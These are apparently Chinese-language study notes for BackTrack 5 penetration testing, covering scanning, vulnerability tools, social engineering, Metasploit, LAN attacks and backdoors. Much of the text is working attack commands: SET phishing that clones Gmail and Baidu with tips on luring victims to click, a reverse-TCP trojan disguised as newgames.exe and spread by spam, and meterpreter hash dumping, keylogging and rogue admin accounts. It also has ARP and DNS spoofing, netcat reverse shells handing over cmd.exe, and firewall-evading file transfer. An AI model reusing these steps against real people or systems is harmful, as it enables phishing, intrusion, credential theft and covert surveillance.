1.BT5默認用戶名:root.密碼:toor(公司是yeslabccies)
2.進入圖形化界面命令:startx
3.更改密碼:sudo passwd root
掃描工具
第一部分網絡配置:
4.網絡配置文件有兩個:
/etc/network/interfaces 和 /etc/resolv.conf
前一個存放網卡接口、IP、子網掩碼等,后一個主要是存放DNS。
5.查看IP信息:ifconfig
6.更改IP :ifconfig eth2 192.168.8.168 netmask 255.255.255.0
注意:我更改IP后無法上網,這時候改回IP也上不了,這時候應該用第12和11的命令,初始化網卡。
7.添加網關: route add default gw 192.168.8.1
8.查看默認路由:route –n
9.顯示內核IP路由表:netstat –r(更多命令查看netstat -h)
10.為臨時網絡配置信息加DNS設置可以修改/etc/resolv.conf:
Nameserver 8.8.8.8(google的一個DNS服務器)
11.清空一個網卡接口的所有IP配置信息:
Ip addr flush eth0
12.啟用網卡:sudo ifup eth0
13.關閉網卡:sudo ifdown eth0
14.動態IP地址分配(DHCP Client)修改/etc/network/interfaces文件如下:
1 |
auto eth0 |
通過以上配置網卡后,你可以手動運行ifup命令來啟用該網卡,該命令會通過dhclient來初始化DHCP進程。
1 |
sudo ifup eth0 |
要手動禁用某網卡,可以使用 ifdown 命令,它將啟動DHCP釋放進程然后關閉網卡接口。
1 |
sudo ifdown eth0 |
15.靜態IP地址分配
同樣是修改/etc/network/interfaces文件內容:
1 |
auto eth0 netmask 255.255.255.0 |
16.靜態主機名
修改/etc/hosts文件內容:
下面是一個例子:
從左到右分別是IP 簡潔的主機名別名相應的 FQDN ( Fully Qualified Domain Names )
127.0.0.1 localhost
第二部分主機發現:
1. 使用arping判斷局域網相鄰主機是否存活:
arping –c 3 192.168.8.155(-c次數)
2. 使用fping快速:
fping –f ip.txt (ip.txt每一行存一IP)
fping –s –r l –g 192.168.8.1 192.168.8.255 (掃描兩個IP之間的所有IP)
3. genlist獲取使用清單,通過ping探針的響應
genlist –s 192.168.1.\* (掃描整個網段的存活主機)
4. hping3,可以分割發送包
hping3 –c 2 192.168.8.8
5. nbtscan掃描WINDOWS網絡顯示IP,主機名,用戶名稱和MAC地址等等
nbtscan –r 192.168.8.1/24 (掃描整個網段)
nbtscan 192.168.8.1-255 (同上)
6. nping支持tcp,udp,icmp等
nping -c 1 --tcp -p 80 --flags syn 192.168.8.34
nping -c 1 --udp -p 80 192.168.8.34
7. onesixtyone,用於找出SNMP Community字串
./onesixtyone -c dict.txt 192.168.8.34
8.protos主要用來掃描特定主機上所支持的協議:
/pentest/enumeration/irpas#./protos -i eth1 -d 10.1.1.2 –v
-v 顯示結果的意思
第三部分操作系統指紋:
1. p0f
2. xprobe2
xprobe2 192.168.8.34
第四部分端口掃描:
1. AutoScan
圖形化網絡掃描工具,能夠發現網絡中的活動主機
2. Netifera
可實現網絡探測和抓包功能(局域網抓包)
3. Nmap
主機發現 nmap -v -n -sP 192.168.8.0/24
系統查詢nmap -v -n -A 192.168.8.34
-v 把整個掃描結果顯示出來
-n 不做DNS解析
-sP 列出當前網絡那些主機在線
-A 綜合掃描,使操作系統檢測,版本檢測、腳本掃描
第五部分服務探測
1. amap 指明端口探測
amap –bq 192.168.8.34 80
2. httprint指紋識別
./httprint -h 192.168.8.34 -s signatures.txt
漏洞發現
第一部分Cisco工具
1. CAT安全審計工具,掃描Cissco路由器的一般性漏洞
./CAT -h 192.168.8.254 -w lists/community -a lists/passwords
2. Cisco Passwd Scanner, 用於發現擁有默認telnet密碼“Cisco”的Cisco設備
./ciscos 192.168.8.1 3 -t 4 -C 10
第二部SNM掃描工具
1. ADMSnmp, ADMSnmp用於暴力PJSNMP community字串,使用預先定義的“wordlist”
./ADMsnmp 192.168.8.34 -wordf snmp.passwd
2. Snmp Enum在獲得community后,可以使用snmp enum獲取大量關於Cisco,windows和linux的信息
./snmpenum.pl 192.168.8.34 private cisco.txt
第三部分HTTP工具
1. Burp Suite分析和攻擊web運用
java -jar burpsuite_v1.4.jar
Proxy 代理端口可以編輯 intruder 選項卡選擇intruder on 即開啟代理端口為8080 更改瀏覽器的連接設置就可用此代理
2. Grendel Scan 網頁漏洞掃描工具
/pentest/web/grendel-scan# ./grendel.sh
3. Nikto2 安全漏洞掃描工具
/pentest/web/nikto# ./nikto.pl -h jw.nwpu.edu.cn -C -p 80 -T 3478b -t 3 -D \ V -o webtest -F htm
其中 webtest里存放的掃描結果
4. w3af 特性豐富的web運用攻擊和審計的框架,他協助檢測和攻擊
/pentest/web/w3af# ./w3af_console
參數配置
w3af>>>plugins(插件設置)
w3af/plugins>>>help
w3af/plugins>>>output console,htmlFile(插件輸出設置)
w3af/plugins>>>output config htmlFile(插件文件格式設置)
w3af/plugins/output/config:htmlFile>>>set verbose True(冗余模式打開)
w3af/plugins/output/config:htmlFile>>>set fileName testreport.html(輸出文件名)
w3af/plugins/output/config:htmlFile>>>back
w3af/plugins>>>output config console(插件模塊設置)
w3af/plugins/output/config:console>>>set verbose False
w3af/plugins/output/config:console>>>back
w3af/plugins>>>audit htaccessMethods , osCommanding , sqli , xss(加載各種腳本)
w3af/plugins>>>back
w3af>>>target(目標地址設置)
w3af/config:target>>>set target http://xx.xx.xx.xx/
w3af/config:target>>>back
w3af>>>start(開始攻擊)
5. WAFW00F 探測WAF(運用層防火牆)的工具,會返回在這個之前有什么運用級防火牆是哪個廠商的
/pentest/web/waffit# ./wafw00f.py http://www.baidu.com
6. Samrdump
/pentest/python/impacket-examples# ./samrdump.py administrator:cisco@192.168.8.254 445/SMB
第五部分綜合漏洞發現工具Nessus
開啟服務
/etc/init.d/nessusd start
打開https://localhost:8834/
用戶名:cisco 密碼:cisco
社會工程學工具SET
第一部分:Java Applet Attack Method(利用java的病毒攻擊)
第二部分:Credential Harvester Attack Method(收集個人信息)
1. SET是一個高級的,多功能的,並且易於使用的計算機社會工程學工具集
/pentest/exploits/set/config# vi set_config (查看配置信息)
METASPLOIT_PATH=/pentest/exploits/framework3(MSF漏洞利用攻擊工具路徑)
ETTERCAP=ON(一個網絡欺騙工具功能是否開放)
ETTERCAP_PATH=/usr/share/ettercap
ETTERCAP_DNSIFF_INTERFACE=eth1(使用DNS欺騙的網絡接口)
EMAIL_PROVIDER=GMAIL(發送垃圾郵件的提供商)
SELF_SIGNED_APPLET=ON(自簽名插件)
JAVA_ID_PARAM=Secure Java Applet(簽名時候是哪個廠商產生的,后面這個名字寫的靠譜點,讓人相信會去點擊)
命令
/pentest/exploits/set# ./set
然后set> 1
set> 2
set:webattack>1
set:webattack>2
set:payloads>2
set:encoding>16
set:phishing>1
set:phishing> Your gmail email address: :pythonisfun@gmail.com
Email password:
set:phishing> Flag this message/s as high priority? [yes|no]:yes
set:phishing> Email subject:Thank you! For your application.
set:phishing> Send the message as html or plain? 'h' or 'p' [p]:
set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:welcome to our sites:http://192.168.8.167
Next line of the body: ^C
以上做的是克隆百度的站點,通過自己的Gmail發送郵件給被攻擊者,只要他人點擊http://192.168.8.167,並加載運行那個java插件secure java applet就會中招。(在WIN7和2003上點擊鏈接,並沒有彈出secure java applet插件,也許是瀏覽器的安全設置弄的)
如果有人中招,按Ctrl+C終止。
msf exploit(handler) > sessions –i (查看中招的主機信息)
命令/pentest/exploits/set# ./set
然后set> 1
set> 2
set:webattack>3
set:webattack>2
set:mailer>1
Enter the url to clone:https://gmail.com
1--->發送給單一目標
Send Email To:1392688486@qq.com
1-->用gmail發送郵件攻擊
Your Gmail email address:xxxxx@gmail.com
Email password:xxxxx
Flag this message/s as high priority?[yes|no]yes(是不是高優先標簽)
Email subject:(Email的標題,考你的語文水平,欺騙他讓他點你的站點)
Send the message as htmal or plain? 'h' or 'p' [p]:(發送文件是以什么格式)
Enter the body of the message, hit return for a new line,Control+c when finished:(編寫郵件的內容按Ctrl+C來結束)
這個只要他人點擊你給的鏈接(最好自己有一個域名),輸入用戶名和密碼,我們就可以知道了
應用層攻擊MSF
1. 啟動msfconsole 命令:msfconsole
msf>hosts (查看掃描過的主機數據庫)
msf>host –d (刪除這個數據庫里的內容 hosts –h可以知道hosts所有用法)
msf>services (存放掃描主機開啟的服務的數據庫)
msf>nmap –T Aggressive –sV –n –O –v 192.168.8.1/24 (掃描這個網段)
msf>load db_autopwn (沒有db_autopwn這個模塊,必須先下載,然后用命令cp db_autopwn.rb /opt/framework3/msf3/plugins/ 拷貝到此處,每次使用這個模塊之前load db_autopwn)
msf>db_autopwn –p –t –e (從掃描的結果中自動攻擊,-I后接指定IP)
msf>sessions –i (查看攻破的主機)
msf>session –i 1 (主機ID 1,連到這個主機)
meterpreter>run hashdump (獲取賬號hash值)
meterpreter>ps (查看控制主機的所有進程)
meterpreter>migrate 1576 (遷移到1576進程ID,獲得管理員權限)
meterpreter>keyscan_start (監視主機鍵盤記錄)
meterpreter>keyscan_dump (顯示鍵盤記錄)
meterpreter>keyscan_stop (停止)
meterpreter>run getgui –e (開啟被控制主機的遠程登錄服務)
meterpreter>run getgui –u cisco –p cisco (向遠程主機添加擁有管理員權限的賬號:cisco 密碼:cisco )
然后開啟遠程登錄軟件:rdesktop 192.168.8.34:3389(被控制主機IP,port),輸入賬號:cisco 密碼:cisco
破解剛才獲取的hash值得到管理員密碼:
/pentest/passwords# ophcrack –g –d ~/tables_xp_free_small –t ~/tables_xp_free_small/ -f ~/sam-new-test.
其中tables_xp_free_small是字典,sam-new-test是剛才得到的hash值
離線攻擊MSF
1. 制造離線攻擊腳本
先創建一個反向連接TCP客戶端(相當於木馬),然后把這個.exe文件通過垃圾郵件發送給別人。/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.167 LPORT=33333 X > /tmp/newgames.exe (newgames.exe就是一個木馬)
然后打開msfconsole. root@bt:~# msfconsole
建立服務器:msf > use exploit/multi/handler
建立負載,反向TCP:msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
設置服務器(我的就是自己的IP,和上面對應):msf exploit(handler) > set LHOST 192.168.8.167
設置端口(和上面對應):msf exploit(handler) > set LPORT 33333
服務器設置好之后,此時如果他人點擊newgames.exe,就會自動連接我的服務器192.168.8.167。
接下來是得到進程列表,遷移到管理員權限,然后開啟別人主機的遠程登錄服務
meterpreter > getuid
Server username: xyw-PC\xyw
meterpreter > ps
meterpreter > run getgui -u user -p passwd (向別人主機添加有管理員權限的用戶名和密碼)
然后在自己主機開啟遠程登錄服務,連接到上當的主機IP(這里是192.168.8.154,第一張圖里的最后有)
這些在上一篇里都有,WIN7可能連接不上,請關閉防火牆,反正192.168.8.154(WIN7系統)的遠程登錄服務已經開啟了,並且它多了一個擁有管理員權限的用戶user。
局域網攻擊
1. MAC泛洪攻擊
百科一下:MAC地址泛洪攻擊:
1,2層交換機是基於MAC地址去轉發數據幀的。
2,轉發過程中依靠對CAM表的查詢來確定正確的轉發接口。
3,一旦在查詢過程中無法找到相關目的MAC對應的條目,此數據幀將作為廣播幀來處理。
4,CAM表的容量有限,只能儲存不多的條目,當CAM表記錄的MAC地址達到上限后,新的條目將不會添加到CAM表中。
ARP攻擊:
比如別人限制您的網速,就稱之為ARP攻擊,就是針對你的IP地址進行控制。
DHCP欺騙:
1.DHCP是動態主機配置協議,主要用來讓PC機自動獲IP地址,子網掩碼,默認網關等信息。
2.DHCP的發包方式為廣播。
3.當有多個DHCP的回應時,使用最先到達的回應。
工具macof,命令:macof –i eth2 (通過eth2泛洪)
Dsniff抓包工具(獲取敏感信息,用戶名和密碼)命令:dsniff –i eth2
2. Yersinia 圖形化局域網攻擊工具。
啟動命令:root@bt:~# yersinia –G
3. Arpspoof
arp欺騙就是自己對要截獲數據包的主機(如192.167.8.154)聲稱自己就是網關的地址(一般是網關地址,因為局域網內每個人都要通過網關發送或接收數據),然后在對網關(192.168.8.254)聲稱自己就是192.167.8.154,這樣192.167.8.1544與192.168.8.254
之間通信的數據包每次都經過你,你就可以用抓包工具wireshark截獲192.167.8.34的信息。
root@bt:~# arpspoof -i eth2 -t 192.168.8.154 192.168.8.254 (欺騙主機)
root@bt:~# arpspoof -i eth2 -t 192.168.8.254 192.168.8.154 (欺騙網關)
4. Ettercap圖形化界面
啟動命令:root@bt:~# ettercap -G
4.1 ARP欺騙
先點擊Hosts>Scan for hosts,然后點擊Hosts list得到局域網內存活的主機。
選中兩個要進行arp欺騙的IP,一般是網關和一主機。
然后開啟sniff,得到敏感信息(用戶名和密碼)。
這是百度用戶名和密碼,密碼是加密了的。
4.2 DNS欺騙
和上面步驟差不多,dns欺騙模塊在plugins里,點擊plugins雙擊dns spoof
維持訪問
1. DNS隧道技術
2. Ping隧道技術
3. SSL隧道技術
三個IP,一個是路由器IP 192.168.8.254,兩個BT5 主機IP,192.168.8.167和192.168.8.176,其中192.168.8.167作為stunnel服務器,192.168.8.176作為客戶端,只要連接到192.168.8.176的2323端口就會轉到192.168.8.167的端口,只要連接到192.168.8.167的2323端口就會轉到192.168.8.254,具體配置如下:
遇到的問題:復制一個BT5之后打開這個新的BT5不能上網,這是因為把原先的mac地址保存在緩存中,所以導致怎么重啟網卡(sudo /etc/init.d/networking restart)都是不能啟用。應該:
rm /etc/udev/rules.d/70-persistent-net.rules 后重啟就行
服務器端配置文件:root@bt:~# cd /etc/stunnel/
vi stunnel.conf
創建臨時文件夾 mkdir /var/run/stunnel
將connect 后的IP地址改成要訪問的IP,(一般是網關)
啟動stunnel. root@bt:~# stunnel /etc/stunnel/stunnel.conf
查看stunnel運行狀態 netstat –nap|grep stunnel
客戶端配置文件:
創建臨時文件夾 mkdir /var/run/stunne
大多數步驟相同,除了把connect 后的IP地址改成上面服務器的IP,端口為232(connect=ip:2323),啟動stunnel. root@bt:~# stunnel /etc/stunnel/stunnel.conf。可以在客戶端上試一試:telnet 127.0.0.1 2323 (這會跳兩次,而且通信加密連到網關)
3.proxy代理技術
4. Netcat
proxy代理技術
查看3proxy配置文件
代理主機IP:192.168.8.159 web服務器IP:192.168.8.167
root@bt:~# vi /pentest/backdoors/3proxy/cfg/3proxy.cfg
External(在局域網內外部接口這里用不到),internal(改成web服務器的IP,前提是你要在web服務器主機上(不是自己)配置好自己的web服務器,詳見http://www.jb51.net/os/Ubuntu/43308.html)
然后啟動3proxy:
root@bt:/pentest/backdoors/3proxy# ./3proxy cfg/3proxy.cfg
現在可以在其他主機上訪問http://192.168.8.159/info.php他會自動轉到http://192.168.8.167/info.php 和直接訪問http://192.168.8.167/info.php的效果一樣
注意http://192.168.8.159/info.php實際上不存在
Netcat
網絡的瑞士軍刀,功能強大,做后門的效果比較好
1.掃描主機端口是否開放
root@bt:~# nc -v -n -z 192.168.8.159 1-1024
連接到21端口開放的主機
root@bt:~# nc 192.168.8.159 21
2.做后門
2.1 受害者做服務器,當攻擊者連接受害者的時候,受害者把自己的cmd.exe給攻擊者,這種方法因為是攻擊者連接受害者可能會遇到防火牆的封殺。
在WIN7下用nc做服務器的命令:C:\Users\xyw\Desktop>nc.exe -d -L -p 3333 -e cmd.exe (注意:我在網上下的一個nc.exe,放在桌面上,端口是3333)
然后再BT5下連接WIN7的ip加3333端口:root@bt:~# nc 192.168.8.151 3333,得到WIN7的cmd.exe控制權。
2.2 攻擊者做服務器,等待受害者來連接,可以有效避免防火牆的攔截。
BT5做服務器:root@bt:~# nc -L -p 3333
WIN7做客戶端:nc.exe –d 192.168.8.167 3333 –e cmd.exe
2.3 用來傳文件
現在BT5下面root@bt:~# nc -l -u -p 53 > test.py,用udp 53(dns協議用的端口)端口來傳文件可以防止防火牆封殺,把收到的文件命名為test.py(隨便命名)。
在WIN7下:C:\Users\xyw\Desktop>nc.exe -u 192.168.8.167 53 < npu.py
(192.168.8.167 BT5 IP,192.168.8.151 WIN7 IP)
2.nc做中繼站,和代理服務器差不多,當你連接中繼的時候轉到指定的IP,nc可以抓包
查看和修改配置文件root@bt:~# vi telnet_relay ( 主要修改IP,要跳到的IP)
啟動:root@bt:~# nc -l -p 80 -e telnet_relay
然后其他主機:telnet IP(中繼站IP)時跳轉到指定IP。